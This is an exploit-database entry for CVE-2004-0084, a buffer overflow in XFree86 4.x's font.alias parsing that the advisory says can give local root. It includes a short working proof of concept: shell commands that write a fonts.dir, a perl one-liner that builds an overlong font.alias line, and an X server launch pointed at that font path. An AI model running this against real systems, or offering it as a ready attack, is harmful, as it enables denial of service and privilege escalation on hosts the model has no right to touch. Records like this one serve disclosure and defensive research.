[] NeoSense

XFree86 4.x - CopyISOLatin1Lowered Font_Name Buffer Overflow

Author: Greg MacManus
type: dos
platform: linux
port: 
date_added: 2004-02-12 
date_updated: 2012-12-27 
verified: 1 
codes: CVE-2004-0084;OSVDB-8341 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/9652/info

It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system.

# cat > fonts.dir <<EOF
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "data " . "0" x 2048 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD